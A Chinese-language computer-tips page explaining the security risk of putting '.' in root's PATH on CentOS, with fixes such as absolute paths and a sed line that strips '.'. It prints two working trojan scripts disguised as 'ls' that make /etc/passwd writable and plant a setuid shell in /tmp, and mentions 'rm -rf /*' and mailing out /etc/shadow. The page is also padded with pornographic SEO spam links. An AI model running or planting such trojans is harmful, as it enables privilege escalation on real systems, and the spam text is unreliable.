<bdo id="cmp0s"></bdo>
    <ol id="cmp0s"></ol>
  1. <tr id="cmp0s"></tr>

    <abbr id="cmp0s"><menu id="cmp0s"><input id="cmp0s"></input></menu></abbr>
    <blockquote id="cmp0s"><strike id="cmp0s"></strike></blockquote>

  2. 国产三级久久精品三级,亚洲成在人线在线播放无码 ,91精品国产自产在线老师啪l,中文字幕免费不卡在线视频,高清欧美性猛交xxxx黑人猛交 ,亚洲bt欧美bt精品,婷婷网址,真实国产乱子伦对白在线播放

    centos環境變量如何設置安全

    時間:2022-10-10 01:50:42 電腦入門

    關于centos環境變量如何設置安全

      是代表當前目錄。如果將這點寫入root的環境變量,執行腳本時,你只需要打腳本的名字,系統就會在當前的目錄下找該腳本并執行。

      例如,一個U盤插入電腦,你打了一個文件名字,系統就會執行U盤中的該文件,如果有木馬程序,也會被執行,比如腳本中有rm -rf /* 這樣的命令,你的系統就會被刪除。

      設想一下,有一個人在一個他能寫的目錄下寫了一個名為ls的可執行程序,程序會把/etc/shadow文件發送到某一郵箱,而root又恰巧在那個目錄下,想ls下,結果是什么呢?

      所以,很多安全要求高的Unix系統甚至要求用絕對路徑調用命令

      本文主要講述“.”在LINUX的環境變量PATH中所帶來的問題,及解決的幾種方法。

      正如很多人所知道的$PATH環境變量里存著一張目錄列表,當用戶要執行某一程序時,系統就會按照列表中的內容去查找該程序的位置。當程序名前不帶點斜線 . / 時$PATH就會起作用。

      對于普通用戶和root用戶$PATH里默認是不包含"."來指定用戶的當前目錄。這在本機進行腳本開發的程序員來說卻不方便,想圖省事的人就把點加到了搜索路徑中,這就等于在你的系統埋下了險情。

      例如:root為了方便使用在他的當前路徑末尾加了個點"."(搜索目錄為代表當前目錄)

      命令操作如下:

      [root@rh root]# PATH=$PATH:.

      [root@rh root]# echo $PATH

      /usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.

      這下是方便了,直接輸入腳本名就能執行。OK,正常情況下一點問題沒有,也省去了輸入./foo.sh的煩惱(foo.sh是我假設的腳本文件名)。有的root把PATH=$PATH:.這條命令加到了profile里,使所有用戶到分享你給他們帶來的"福音"。更有勝者root用戶竟然PATH=.:$PATH(將":"加到路徑前是另一種形式)。正常請況下一點問題沒有,直到有一天,張三用戶在他的主目錄下放了名為lls的腳本,并對root說他的系統出問題了希望root能幫他解決。(其實是一個trap)。Root一上來就su 成管理員權限,緊更著列了一下目錄。有可能管理員誤敲成了lls,結果哈哈。。。。

      以下是個簡單的C shell 的例子

      #!/bin/csh

      If ( ! -o /bin/su )

      goto finish

      cp /bin/sh /tmp/.sh

      chmod 7777 /tmp/.sh

      finish :

      exec /bin/ls $argv | grep -v ls

      稍微變形就有個B shell的

      #!/bin/sh

      if chmod 666 /etc/passwd > /dev/null 2>&1 ;then

      cp /bin/sh /tmp/.sh

      chmod 4755 /tmp/.sh

      fi

      exec ls "$@"

      如果root將其環境變量$PATH包含了"."并且其位置先與ls所在的系統目錄,那么當用戶在/tmp中執行ls時,執行的是上面給出的腳本,而不是實際的ls命令,因為最終還是執行了ls,所以root不會看出有任何異常。如果是root執行了該腳本,就會將口令文件設置為可寫,并將shell復制到/tmp保存為.sh,同時設置其setuserid位,所有這一切都非常安靜地發生。

      在以上這兩個程序里,心懷不鬼的人能寫入任何令root急的要跳樓的程序,部下陷阱等root來鉆,也許root在不知不覺中施行了也根本不會察覺。 也許在張三的主目錄下有一個名為ps的腳本里面包含有危險腳本,root可能一到他的機器前就輸入了ps,此時系統會首先到當前目錄下搜索,結果/sbin/ps卻不被執行。類似這樣的小花招還有很多。

      管理員同志,不要太緊張,下面我說說解決辦法。

      首先,要養成輸絕對路徑的良好命令行輸入習慣,這樣就不會讓"不法份子"乘虛而入了。比如,列目錄最好用/bin/ls來列目錄,不要圖方便而冒然輸入ls。

      其次,根用戶(root)不要把"."包括到搜索目錄列表里,而普通用戶如果個"."包括到搜索列表中的話別,則"."就應當放在搜索目錄列表的最后位置上。這樣一來普通用戶不會受到前面所述的那種危害。

      最后,可以在登陸時在/etc/profile 和bashrc .profile文件的末尾添加如下一行

      [PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

      這個簡單的sed命令將刪除路徑里所有的"."包括其另一形式"::"

      還可以由crontab調用定期執行

      #find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt

    【centos環境變量如何設置安全】相關文章:

    如何設置IP10-12

    如何設置dns11-26

    如何設置聲卡內放08-16

    電腦如何設置dns11-27

    如何禁止網絡設置更改11-16

    電腦如何設置省電模式09-04

    如何設置wps縱向打印?11-26

    如何設置光驅啟動開機11-26

    關于如何設置用鍵盤開機09-14

    如何設置計算機BIOS11-26

    主站蜘蛛池模板: 国产激情AV| 久久精品国产亚洲AV网站| 精品国产成人A区在线观看| 狠狠热在线视频免费| 18禁美女黄网站色大片免费看| 久久精品成人免费看| 亚洲人成网站在线播放无码| 亚洲熟妇色自偷自拍另类 | 日本中文一区二区三区亚洲| 动漫av永久无码精品每日更新| 中文字幕影院一区二区毛片| 国产V∧在线视频| 狼友福利导航| 中文成人无码国产亚洲| 国产精品禁18久久久夂久| 久久精品国产中文字幕| 国产口爆自拍| 中文在线8资源库| 午夜久久精品国产亚洲av| 妺妺窝人体色www在线直播| 亚洲无码免费在线观看| 亚洲人成网站999久久久综合| 操碰网| av天堂东京热无码专区| 在线人成视频播放午夜福利| 无遮高潮国产免费观看| 久久棈精品久久久久久噜噜| 尤物yw193无码点击进入| 中文国产人精品久久蜜桃| 日韩在线观看a| 亚洲乱码中文字幕手机在线| 日韩人妻精品无码一区二区三区| 久久香蕉超碰97国产精品| 国产色婷婷五月精品综合在线| 久久精品国产福利国产秒拍| 天天躁日日躁人妻久久澡| 亚洲一区日韩高清中文字幕亚洲| 久久久久亚洲Av片无码一区| 中文原创av| 色综合中文综合网| 亚洲成A∨人片在线网|